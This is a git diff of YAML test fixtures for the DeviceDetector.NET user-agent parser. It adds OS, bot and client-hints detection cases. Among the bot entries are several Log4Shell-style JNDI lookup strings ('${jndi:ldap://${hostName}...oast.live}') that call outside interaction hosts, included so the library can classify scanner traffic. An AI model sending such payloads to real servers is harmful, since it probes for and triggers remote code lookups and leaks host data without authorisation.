+ short_name: ADR + version: "11" + platform: "" + family: Android +- + user_agent: Dalvik/2.1.0 (Linux; U; Android 9; SmartTV Build/RTK2842P) + os: + name: Android TV + short_name: ADR + version: "9" + platform: "" + family: Android +- + user_agent: Mozilla/5.0 (Linux; Android 9; SMART_TV Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.158 Safari/537.36 + os: + name: Android TV + short_name: ADR + version: "9" + platform: "" + family: Android +- + user_agent: Mozilla/5.0 (Linux; Android 10; Armadillo Phone) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.81 Mobile Safari/537.36 + os: + name: Armadillo OS + short_name: ARM + version: "" + platform: ARM + family: Android +- + user_agent: Mozilla/5.0 (Linux; Android 10; Helix Phone) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.127 Mobile Safari/537.36 + os: + name: HELIX OS + short_name: HEL + version: "" + platform: "" + family: Android +- + user_agent: FeedDaemon FRITZ!OS/07.12 Linux/2.6.39.3 + os: + name: FRITZ!OS + short_name: FRI + version: "7.12" + platform: "" + family: GNU/Linux +- + user_agent: Mozilla/5.0 (Linux; Android 9; AEOAT) AppleWebKit/537.36 (KHTML, like Gecko) Silk/112.6.3 like Chrome/112.0.5615.213 Safari/537.36 + os: + name: Fire OS + short_name: FIR + version: "7" + platform: "" + family: Android +- + user_agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060324 Ubuntu/dapper Firefox/52.5.0 + os: + name: Ubuntu + short_name: UBT + version: "6.06" + platform: x86 + family: GNU/Linux +- + user_agent: Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/52.4.1 + os: + name: Ubuntu + short_name: UBT + version: "6.06" + platform: x86 + family: GNU/Linux +- + user_agent: Zeasn/2.0 Mozilla/5.0 (Linux;CE-HTML/1.0;U;en), Chrome/49.0.2623.87 Safari/537.36 AppleWebKit 537.36 (KHTML, like Gecko) Tbrowser/2.0, _TV_UNKONWN/V8-NT563LA-LF1V250 (WESTPOINT,TETS-4919SM,wireless) + os: + name: Whale OS + short_name: WHS + version: "1" + platform: "" + family: Other Smart TV +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 momoWebView/9.6.7 ios/5168(iPhone13,2;iOS 15.6.1;zh_CN;S1;netType/0) + os: + name: iOS + short_name: IOS + version: 15.6.1 + platform: "" + family: iOS +- + user_agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 MEGAUPLOAD 1.0 (Ubuntu-feisty) + os: + name: Ubuntu + short_name: UBT + version: "7.04" + platform: x86 + family: GNU/Linux +- + user_agent: Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1 + os: + name: Ubuntu + short_name: UBT + version: "8.04" + platform: x64 + family: GNU/Linux +- + user_agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070326 Ubuntu/breezy-security Epiphany/1.8.2 Firefox/1.5.0.11 + os: + name: Ubuntu + short_name: UBT + version: "5.10" + platform: x86 + family: GNU/Linux +- + user_agent: Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy) + os: + name: Ubuntu + short_name: UBT + version: "6.10" + platform: x64 + family: GNU/Linux +- + user_agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Liri/0.4.0 + os: + name: Liri OS + short_name: LIR + version: + platform: x64 + family: GNU/Linux +- + user_agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0) Gecko/20110318 WebianShell/0.1 + os: + name: Webian + short_name: WEB + version: + platform: x64 + family: GNU/Linux +- + user_agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; System75) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15 Ubuntu/22.04 Eolie/605.1.15 + os: + name: Ubuntu + short_name: UBT + version: "22.04" + platform: x64 + family: GNU/Linux +- + user_agent: Mozilla/5.0 (Linux; Android 10; Mi Max Prime Build/QP1A.191005.007) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.186 Mobile Safari/537.36 + os: + name: Lineage OS + short_name: LEN + version: + platform: + family: Android + headers: + http-x-requested-with: org.lineageos.jelly +- + user_agent: Mozilla/5.0 (Linux; Android 11; lineage_j5y17lte Build/RQ2A.210305.006) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36 + os: + name: Lineage OS + short_name: LEN + version: "18" + platform: + family: Android +- + user_agent: 'Mozilla/5.0 (Linux; Android 10; SM-A105F Build/Lineage_17.1-arm64_by_Eureka_Team; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.101 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/399.0.0.24.93;]' + os: + name: Lineage OS + short_name: LEN + version: "17.1" + platform: + family: Android +- + user_agent: Mozilla/5.0 (Linux; Android 9; lineage_serranoltexx) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Mobile Safari/537.36 + os: + name: Lineage OS + short_name: LEN + version: "16" + platform: + family: Android +- + user_agent: Mozilla/5.0 (Linux; Android 7.1.2; lineage_FS504 Build/NJH47F; ru-ru) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36 Puffin/7.8.2.40664AP + os: + name: Lineage OS + short_name: LEN + version: "14.1" + platform: + family: Android +- + user_agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; lineage_A6020 Build/NMF26V) + os: + name: Lineage OS + short_name: LEN + version: "14.1" + platform: + family: Android diff --git a/DeviceDetector.NET.Tests/fixtures/bots.yml b/DeviceDetector.NET.Tests/fixtures/bots.yml index c731309..9ba675c 100644 --- a/DeviceDetector.NET.Tests/fixtures/bots.yml +++ b/DeviceDetector.NET.Tests/fixtures/bots.yml @@ -1085,7 +1085,12 @@ - user_agent: Mozilla/5.0 (compatible; +http://tweetedtimes.com) bot: - name: Generic Bot + name: TweetedTimes Bot + category: Crawler + url: https://tweetedtimes.com/ + producer: + name: TweetedTimes + url: https://tweetedtimes.com/ - user_agent: Mozilla/5.0 (compatible; Shareaholicbot/2.0; +http://www.shareaholic.com/bot) bot: @@ -1326,7 +1331,7 @@ - user_agent: Googlebot-News (2.3.3, ruby 1.9.3 (2013-11-22)) bot: - name: Googlebot + name: Googlebot News category: Search bot url: https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers producer: @@ -2634,12 +2639,12 @@ - user_agent: Mozilla/5.0 (compatible; SemrushBot/0.97; +http://www.semrush.com/bot.html) bot: - name: Semrush Bot + name: SemrushBot category: Crawler - url: http://www.semrush.com/bot.html + url: https://www.semrush.com/bot/ producer: - name: SEMrush - url: http://www.semrush.com + name: Semrush Inc. + url: https://www.semrush.com/ - user_agent: SensikaBot/x.33 (+http://sensika.com) bot: @@ -3054,19 +3059,19 @@ bot: name: TweetedTimes Bot category: Crawler - url: http://tweetedtimes.com + url: https://tweetedtimes.com/ producer: name: TweetedTimes - url: http://tweetedtimes.com/ + url: https://tweetedtimes.com/ - user_agent: TweetedTimes Bot/1.0 (Mozilla/5.0 Compatible, +http://tweetedtimes.com) bot: name: TweetedTimes Bot category: Crawler - url: http://tweetedtimes.com + url: https://tweetedtimes.com/ producer: name: TweetedTimes - url: http://tweetedtimes.com/ + url: https://tweetedtimes.com/ - user_agent: Mozilla/5.0 (compatible; TweetmemeBot/3.0; +http://tweetmeme.com/) bot: @@ -3123,12 +3128,12 @@ - user_agent: Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/) bot: - name: Uptime Robot + name: UptimeRobot category: Site Monitor - url: "" + url: https://uptimerobot.com/ producer: name: Uptime Robot - url: http://uptimerobot.com + url: https://uptimerobot.com/ - user_agent: Mozilla/5.0 (compatible; Uptimebot/1.0; +http://www.uptime.com/uptimebot) bot: @@ -4198,8 +4203,8 @@ url: https://github.com/projectdiscovery/httpx category: Crawler producer: - name: "" - url: "" + name: ProjectDiscovery, Inc. + url: https://projectdiscovery.io/ - user_agent: 'Expanse indexes the network perimeters of our customers. If you have any questions or concerns, please reach out to: scaninfo@expanseinc.com' bot: @@ -5128,11 +5133,11 @@ - user_agent: Mozilla/5.0 (compatible; SerpReputationManagementAgent/1.0) bot: - name: SEMrush Reputation Management + name: Semrush Reputation Management category: Service Agent url: https://www.semrush.com/bot/ producer: - name: SEMrush + name: Semrush Inc. url: https://www.semrush.com/ - user_agent: panscient.com @@ -5769,7 +5774,7 @@ user_agent: RepoLookoutBot/v1.1.0-209-g2b273e8 (abuse reports to abuse@repo-lookout.org) bot: name: Repo Lookout - category: Crawler + category: Security Checker url: https://www.repo-lookout.org/ producer: name: Crissy Field GmbH @@ -6835,3 +6840,508 @@ user_agent: WebAuthn Adoption Study (Contact mb364@hdm-stuttgart.de) bot: name: Generic Bot +- + user_agent: ViberUrlDownloader + bot: + name: Viber Url Downloader + category: Service Agent + url: https://www.viber.com/ + producer: + name: Viber Media S.à r.l. + url: https://www.viber.com/ +- + user_agent: Zeno + bot: + name: Zeno + category: Crawler + url: https://github.com/internetarchive/Zeno + producer: + name: The Internet Archive + url: https://archive.org/ +- + user_agent: Barracuda Sentinel (EE) + bot: + name: Barracuda Sentinel + category: Service Agent + url: https://sentinel.barracudanetworks.com/ + producer: + name: Barracuda Networks, Inc. + url: https://www.barracudanetworks.com/ +- + user_agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.126 Safari/537.36 RuxitSynthetic/1.0 v104032285451 t1437235942278817309 ath5a4d3a2e altpub cvcv=2 smf=0 + bot: + name: RuxitSynthetic + category: Site Monitor + url: https://community.dynatrace.com/t5/Troubleshooting/Basic-Commands-for-Synthetic/ta-p/198164 + producer: + name: Dynatrace LLC + url: https://www.dynatrace.com/ +- + user_agent: DynatraceSynthetic/1.179 + bot: + name: DynatraceSynthetic + category: Site Monitor + url: https://community.dynatrace.com/t5/Troubleshooting/Basic-Commands-for-Synthetic/ta-p/198164 + producer: + name: Dynatrace LLC + url: https://www.dynatrace.com/ +- + user_agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Mobile Safari/537.36 +https://sitebulb.com + bot: + name: Sitebulb + category: Crawler + url: https://sitebulb.com/ + producer: + name: Sitebulb Limited + url: https://sitebulb.com/ +- + user_agent: Mozilla/5.0 (compatible; Monsidobot/2.2; +http://monsido.com/bot.html; info@monsido.com) + bot: + name: Monsidobot + category: Crawler + url: https://monsido.com/bot-html + producer: + name: Monsido LLC + url: https://monsido.com/ +- + user_agent: AccompanyBot + bot: + name: AccompanyBot + category: Crawler + url: https://www.accompany.com/ + producer: + name: Accompani, Inc + url: https://www.accompany.com/ +- + user_agent: TheWebInternetSearcher + bot: + name: Generic Bot +- + user_agent: Searcherweb + bot: + name: Generic Bot +- + user_agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0 Safari/537.36 Ghost Inspector + bot: + name: Ghost Inspector + category: Site Monitor + url: 'https://docs.ghostinspector.com/faq/#how-do-i-detect-ghost-inspector-test-runner-traffic-on-my-site' + producer: + name: Ghost Inspector, Inc. + url: https://www.ghostinspector.com/ +- + user_agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Cypress/12.1.0 Chrome/106.0.5249.51 Electron/21.0.0 Safari/537.36 + bot: + name: Cypress + category: Site Monitor + url: https://github.com/cypress-io/cypress + producer: + name: Cypress.io, Inc. + url: https://www.cypress.io/ +- + user_agent: Google-Area120-PrivacyPolicyFetcher + bot: + name: Google Area 120 Privacy Policy Fetcher + category: Crawler + url: https://area120.google.com/ + producer: + name: Google Inc. + url: https://www.google.com/ +- + user_agent: Mozilla/5.0 (compatible; YandexUserproxy; robot; +http://yandex.com/bots) + bot: + name: Yandex Bot + category: Search bot + url: https://yandex.com/support/webmaster/robot-workings/check-yandex-robots.html + producer: + name: Yandex LLC + url: https://yandex.com/company/ +- + user_agent: 'Mozilla/5.0 (compatible; Google-Apps-Script; beanserver; +https://script.google.com; id: )' + bot: + name: Google Apps Script + category: Service Agent + url: https://www.google.com/script/start/ +- + user_agent: Google-Lens + bot: + name: Googlebot + category: Search bot + url: https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers + producer: + name: Google Inc. + url: https://www.google.com/ +- + user_agent: Mozilla/5.0 (compatible; SiteOne-Crawler/1.0.7; +https://crawler.siteone.io/bot/?r=xxxxxxxx) + bot: + name: SiteOne Crawler + category: Crawler + url: https://crawler.siteone.io/bot/ + producer: + name: SiteOne s.r.o. + url: https://www.siteone.io/ +- + user_agent: Mozilla/5.0 (compatible; Detectify) +https://detectify.com/bot/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx + bot: + name: Detectify + category: Security Checker + url: https://support.detectify.com/support/solutions/articles/48001049001-how-to-allow-detectify-to-access-your-site + producer: + name: Detectify AB + url: https://detectify.com/ +- + user_agent: Mozilla/5.0 (compatible; Detectify; stateless-http-tests; xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx) + bot: + name: Detectify + category: Security Checker + url: https://support.detectify.com/support/solutions/articles/48001049001-how-to-allow-detectify-to-access-your-site + producer: + name: Detectify AB + url: https://detectify.com/ +- + user_agent: Mozilla/5.0 (compatible; Detectify) + bot: + name: Detectify + category: Security Checker + url: https://support.detectify.com/support/solutions/articles/48001049001-how-to-allow-detectify-to-access-your-site + producer: + name: Detectify AB + url: https://detectify.com/ +- + user_agent: DomCopBot (https://www.domcop.com/bot) + bot: + name: DomCop Bot + category: Crawler + url: https://www.domcop.com/bot + producer: + name: Axeman Technology Solutions LLP + url: https://axemantech.com/ +- + user_agent: Mozilla/5.0 (compatible; Paqlebot/2.0; +http://www.paqle.dk/about/paqlebot) + bot: + name: Paqlebot + category: Crawler + url: https://www.paqle.dk/about/paqlebot + producer: + name: Paqle A/S + url: https://www.paqle.dk/ +- + user_agent: Mozilla/4.0 (compatible; Wibybot; https://wiby.me/) + bot: + name: Wibybot + category: Crawler + url: https://www.wiby.me/ +- + user_agent: Synapse (bot; +https://github.com/matrix-org/synapse) + bot: + name: Synapse + category: Crawler + url: https://github.com/matrix-org/synapse +- + user_agent: Mozilla/5.0 (compatible; OSZKbot/3.3 (OSZKBOT,oszkbot) +http://mekosztaly.oszk.hu/mia) on behalf of the National Szechenyi Library + bot: + name: OSZKbot + category: Crawler + url: http://mekosztaly.oszk.hu/mia/ + producer: + name: National Szechenyi Library + url: https://webarchivum.oszk.hu/ +- + user_agent: SplitSignalBot + bot: + name: SplitSignalBot + category: Crawler + url: https://www.semrush.com/bot/ + producer: + name: Semrush Inc. + url: https://www.semrush.com/ +- + user_agent: Mozilla/5.0 (compatible; SiteAuditBot/0.97; http://www.semrush.com/bot.html) + bot: + name: SiteAuditBot + category: Crawler + url: https://www.semrush.com/bot/ + producer: + name: Semrush Inc. + url: https://www.semrush.com/ +- + user_agent: Zoombot (SEOChecker 1.0 http://suite.seozoom.it/bot.html) + bot: + name: ZoomBot + category: Crawler + url: https://suite.seozoom.it/bot.html + producer: + name: SEO Cube S.r.l. + url: https://www.seocube.it/ +- + user_agent: ZoomBot (Linkbot 1.0 http://suite.seozoom.it/bot.html) + bot: + name: ZoomBot + category: Crawler + url: https://suite.seozoom.it/bot.html + producer: + name: SEO Cube S.r.l. + url: https://www.seocube.it/ +- + user_agent: Mozilla/5.0 (compatible; RavenCrawler/2.0; +https://raventools.com/seo-website-auditor/) + bot: + name: RavenCrawler + category: Crawler + url: https://raventools.com/site-auditor/ + producer: + name: TapClicks, Inc. + url: https://www.tapclicks.com/ +- + user_agent: KadoBot (https://www.kadolijst.nl/bot) + bot: + name: KadoBot + category: Crawler + url: https://www.kadolijst.nl/bot + producer: + name: Kadolijst + url: https://www.kadolijst.nl/ +- + user_agent: Investis-Site24x7 + bot: + name: Site24x7 Website Monitoring + category: Site Monitor + url: https://www.site24x7.com/site24x7-faq.html + producer: + name: Site24x7 + url: https://www.site24x7.com +- + user_agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) HLB/1.247 + bot: + name: Site24x7 Defacement Monitor + category: Site Monitor + url: https://support.site24x7.com/portal/en/kb/articles/default-user-agent-used-in-website-defacement-monitor + producer: + name: Site24x7 + url: https://www.site24x7.com/ +- + user_agent: Mozilla/5.0 (compatible; Dubbotbot/0.2; +http://dubbot.com) + bot: + name: Dubbotbot + category: Crawler + url: https://help.dubbot.com/en/articles/6746594-example-custom-user-agent + producer: + name: DubBot + url: https://dubbot.com/ +- + user_agent: Mozilla/5.0 (compatible; Swiftbot/1.0; UID/; +http://swiftype.com/swiftbot) + bot: + name: Swiftbot + category: Crawler + url: https://swiftype.com/swiftbot + producer: + name: Elasticsearch, B.V. + url: https://www.elastic.co/ +- + user_agent: EyeMonIT_bot_version_0.1_(https://www.eyemon.it/) + bot: + name: EyeMonit + category: Site Monitor + url: https://eyemonit.com/ + producer: + name: EyeMonit + url: https://eyemonit.com/ +- + user_agent: ThousandEyes-Dragonfly-x1 + bot: + name: ThousandEyes + category: Site Monitor + url: https://www.thousandeyes.com/ + producer: + name: Cisco Systems, Inc. + url: https://www.cisco.com/ +- + user_agent: OmtrBot/1.0 + bot: + name: OmtrBot + category: Site Monitor +- + user_agent: WebMon/2.0.0 + bot: + name: WebMon + category: Site Monitor +- + user_agent: AdsTxtCrawlerTP/1.2 + bot: + name: AdsTxtCrawlerTP + category: Crawler +- + user_agent: fragFINN.de HTTP-Collector + bot: + name: fragFINN + category: Crawler + url: https://www.fragfinn.de/ + producer: + name: fragFINN e.V. + url: https://www.fragfinn.de/ +- + user_agent: Clickagy Intelligence Bot v2 + bot: + name: Clickagy + category: Crawler + url: https://www.clickagy.com/ + producer: + name: Clickagy, LLC + url: https://www.clickagy.com/ +- + user_agent: kiwitcms-gitops/0.1 + bot: + name: Kiwi TCMS GitOps + category: Service Agent + url: https://kiwitcms.org + producer: + name: Open Technologies Bulgaria, Ltd. + url: https://kiwitcms.org +- + user_agent: kiwitcms-gitops/1 + bot: + name: Kiwi TCMS GitOps + category: Service Agent + url: https://kiwitcms.org + producer: + name: Open Technologies Bulgaria, Ltd. + url: https://kiwitcms.org +- + user_agent: Googlebot-News + bot: + name: Googlebot News + category: Search bot + url: https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers + producer: + name: Google Inc. + url: https://www.google.com/ +- + user_agent: '${jndi:ldap://${hostName}.useragent.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.live}' + bot: + name: Interactsh + category: Security Checker + url: https://github.com/projectdiscovery/interactsh + producer: + name: ProjectDiscovery, Inc. + url: https://projectdiscovery.io/ +- + user_agent: '${jndi:ldap://${hostName}.useragent.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.pro}' + bot: + name: Interactsh + category: Security Checker + url: https://github.com/projectdiscovery/interactsh + producer: + name: ProjectDiscovery, Inc. + url: https://projectdiscovery.io/ +- + user_agent: '${jndi:ldap://${hostName}.useragent.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.online}' + bot: + name: Interactsh + category: Security Checker + url: https://github.com/projectdiscovery/interactsh + producer: + name: ProjectDiscovery, Inc. + url: https://projectdiscovery.io/ +- + user_agent: '${jndi:ldap://${hostName}.useragent.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.site}' + bot: + name: Interactsh + category: Security Checker + url: https://github.com/projectdiscovery/interactsh + producer: + name: ProjectDiscovery, Inc. + url: https://projectdiscovery.io/ +- + user_agent: '${jndi:ldap://${hostName}.useragent.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.fun}' + bot: + name: Interactsh + category: Security Checker + url: https://github.com/projectdiscovery/interactsh + producer: + name: ProjectDiscovery, Inc. + url: https://projectdiscovery.io/ +- + user_agent: '${jndi:ldap://${hostName}.useragent.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.me}' + bot: + name: Interactsh + category: Security Checker + url: https://github.com/projectdiscovery/interactsh + producer: + name: ProjectDiscovery, Inc. + url: https://projectdiscovery.io/ +- + user_agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 webtru_crawler + bot: + name: webtru + category: Crawler + url: https://webtru.io/ + producer: + name: DataSign Inc. + url: https://datasign.jp/ +- + user_agent: Mozilla / 5.0(Windows NT 10.0; Win64; x64) AppleWebKit / 537.36(KHTML, like Gecko; compatible; URLSuMaBot / 1.0; +https://www.urlsuma.de/bot.aspx) Chrome / 70.0.3538.77 Safari / 537.36 + bot: + name: URLSuMaBot + category: Crawler + url: https://www.urlsuma.de/ +- + user_agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322) 360JK yunjiankong 427691 + bot: + name: 360JK + category: Site Monitor + url: http://jk.cloud.360.cn/ + producer: + name: 360 Security Technology Inc. + url: https://www.360.cn/ +- + user_agent: LinkChain + bot: + name: Generic Bot +- + user_agent: Morfeus Fucking Scanner + bot: + name: Generic Bot +- + user_agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0 UCSBNetworkMeasurement/2023 (contact; stijn; at; ucsb.edu;) + bot: + name: UCSB Network Measurement + category: Crawler + url: https://www.it.ucsb.edu/ + producer: + name: University of California, Santa Barbara + url: https://www.it.ucsb.edu/ +- + user_agent: Plesk screenshot bot https://support.plesk.com/hc/en-us/articles/10301006946066 + bot: + name: Plesk Screenshot Service + category: Service Agent + url: https://support.plesk.com/hc/en-us/articles/13302778306199-What-is-Plesk-Screenshot-Service + producer: + name: Plesk International GmbH + url: https://www.plesk.com/ +- + user_agent: Y!J-ASR/1.0 crawler (https://support.yahoo-net.jp/PccSearch/s/article/H000007955) + bot: + name: Yahoo! Japan ASR + category: Crawler + url: https://support.yahoo-net.jp/PccSearch/s/article/H000007955 + producer: + name: Yahoo! Japan Corp. + url: https://www.yahoo.co.jp/ +- + user_agent: Who.is Bot + bot: + name: Who.is Bot + category: Crawler + url: https://who.is/ +- + user_agent: Mozilla/5.0 (compatible; WireReaderBot/1.0; +https://wirereader.app) + bot: + name: WireReaderBot + category: Feed Fetcher + url: https://wirereader.app/ +- + user_agent: WireReaderBot/1.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) + bot: + name: WireReaderBot + category: Feed Fetcher + url: https://wirereader.app/ diff --git a/DeviceDetector.NET.Tests/fixtures/clienthints-app.yml b/DeviceDetector.NET.Tests/fixtures/clienthints-app.yml index 3b7b96f..20e4661 100644 --- a/DeviceDetector.NET.Tests/fixtures/clienthints-app.yml +++ b/DeviceDetector.NET.Tests/fixtures/clienthints-app.yml @@ -873,7 +873,7 @@ platform: "" client: type: mobile app - name: Microsoft Bing Search + name: Microsoft Bing version: 22.2.400225301 device: type: smartphone @@ -891,7 +891,7 @@ platform: "" client: type: mobile app - name: Microsoft Bing Search + name: Microsoft Bing version: 21.9.400310302 device: type: smartphone @@ -2461,3 +2461,147 @@ model: Nova 9 SE os_family: Android browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux; Android 11; ZTE 8010) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.127 Mobile Safari/537.36 Instabridge/21.9.0 + headers: + http-x-requested-with: com.instabridge.android + os: + name: Android + version: "11" + platform: "" + client: + type: mobile app + name: Instabridge + version: 21.9.0 + device: + type: phablet + brand: ZTE + model: Blade V2020 Smart + os_family: Android + browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux; Android 11; MI 9 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/106.0.5249.126 Mobile Safari/537.36 Whatplay + headers: + http-x-requested-with: com.repotools.whatplay + os: + name: Android + version: "11" + platform: "" + client: + type: mobile app + name: Whatplay + version: "" + device: + type: smartphone + brand: Xiaomi + model: Mi 9 + os_family: Android + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 App/2000002 Plu/3013 channel/0main (Linux; Android 12; CET-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.2526.83 Mobile Safari/537.36 SearchCraft/2.6.1 (Baidu; P2 11.3.1)' + headers: + http-x-requested-with: com.saf.seca + os: + name: Android + version: "12" + platform: "" + client: + type: mobile app + name: SearchCraft + version: 2.6.1 + device: + type: smartphone + brand: Huawei + model: Mate 50 + os_family: Android + browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux; Android 10; HMA-L29 Build/HUAWEIHMA-L29; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.125 Mobile Safari/537.36 HMSCore/6.5.1.302 + headers: + http-x-requested-with: com.huawei.hwsearch + os: + name: Android + version: "10" + platform: "" + client: + type: mobile app + name: Petal Search + version: "" + device: + type: smartphone + brand: Huawei + model: Mate 20 + os_family: Android + browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux; Android 10; Redmi 8A Dual Build/QKQ1.191014.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/96.0.4664.45 Mobile Safari/537.36 appname/PLAYit appverc/20602004 appname/PLAYit appverc/20602004 appname/PLAYit appverc/20602004 appname/PLAYit appverc/20602004 + headers: + http-x-requested-with: com.playit.videoplayer + os: + name: Android + version: "10" + platform: "" + client: + type: mobile app + name: PLAYit + version: "" + device: + type: smartphone + brand: Xiaomi + model: Redmi 8A Dual + os_family: Android + browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux; Android 11.0; Orange TV Box Build/QTG1.200615.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/102.0.5005.22 Mobile Safari/537.36 + headers: + http-x-requested-with: com.droidlogic.xlauncher + os: + name: Android + version: "11.0" + platform: "" + client: + type: mobile app + name: X Launcher + version: "" + device: + type: tv + brand: Orange + model: TV Box + os_family: Android + browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux; Android 12; SM-A032F Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.193 Mobile Safari/537.36 binu/7441 (5b9a75f88345479c) + headers: + http-x-requested-with: nu.bi.moya + os: + name: Android + version: 12 + platform: "" + client: + type: mobile app + name: Moya + version: "" + device: + type: smartphone + brand: Samsung + model: Galaxy A03 Core + os_family: Android + browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux; Android 14; Pixel 6 Build/UQ1A.240105.002; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36 EdgA/119.0.0.0 + headers: + http-x-requested-with: com.microsoft.copilot + os: + name: Android + version: "14" + platform: "" + client: + type: mobile app + name: Microsoft Copilot + version: "" + device: + type: smartphone + brand: Google + model: Pixel 6 + os_family: Android + browser_family: Unknown diff --git a/DeviceDetector.NET.Tests/fixtures/clienthints.yml b/DeviceDetector.NET.Tests/fixtures/clienthints.yml index 3c7ae71..86a3e46 100644 --- a/DeviceDetector.NET.Tests/fixtures/clienthints.yml +++ b/DeviceDetector.NET.Tests/fixtures/clienthints.yml @@ -1150,3 +1150,53 @@ model: TY55-1 os_family: Android browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36 + headers: + Sec-CH-UA: '"Google Chrome";v="117.0.5938.60", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.60"' + Sec-CH-UA-Platform: "Android" + Sec-CH-UA-Mobile: "?1" + Sec-CH-UA-Full-Version: "117.0.5938.60" + Sec-CH-UA-Platform-Version: "13.0.0" + Sec-CH-UA-Model: "BV8900" + os: + name: Android + version: 13.0.0 + platform: "" + client: + type: browser + name: Chrome Mobile + version: 117.0.5938.60 + engine: Blink + engine_version: 117.0.0.0 + device: + type: smartphone + brand: Blackview + model: BV8900 + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Mobile Safari/537.36 + headers: + Sec-CH-UA: '"Chromium";v="118.0.5993.80", "Google Chrome";v="118.0.5993.80", "Not=A?Brand";v="99.0.0.0"' + Sec-CH-UA-Platform: "Android" + Sec-CH-UA-Mobile: "?1" + Sec-CH-UA-Full-Version: "118.0.5993.80" + Sec-CH-UA-Platform-Version: "11.0.0" + Sec-CH-UA-Model: "Explr 9" + os: + name: Android + version: 11.0.0 + platform: "" + client: + type: browser + name: Chrome Mobile + version: 118.0.5993.80 + engine: Blink + engine_version: 118.0.0.0 + device: + type: smartphone + brand: ComTrade Tesla + model: Explr 9 + os_family: Android + browser_family: Chrome diff --git a/DeviceDetector.NET.Tests/fixtures/console.yml b/DeviceDetector.NET.Tests/fixtures/console.yml index d764736..145b399 100644 --- a/DeviceDetector.NET.Tests/fixtures/console.yml +++ 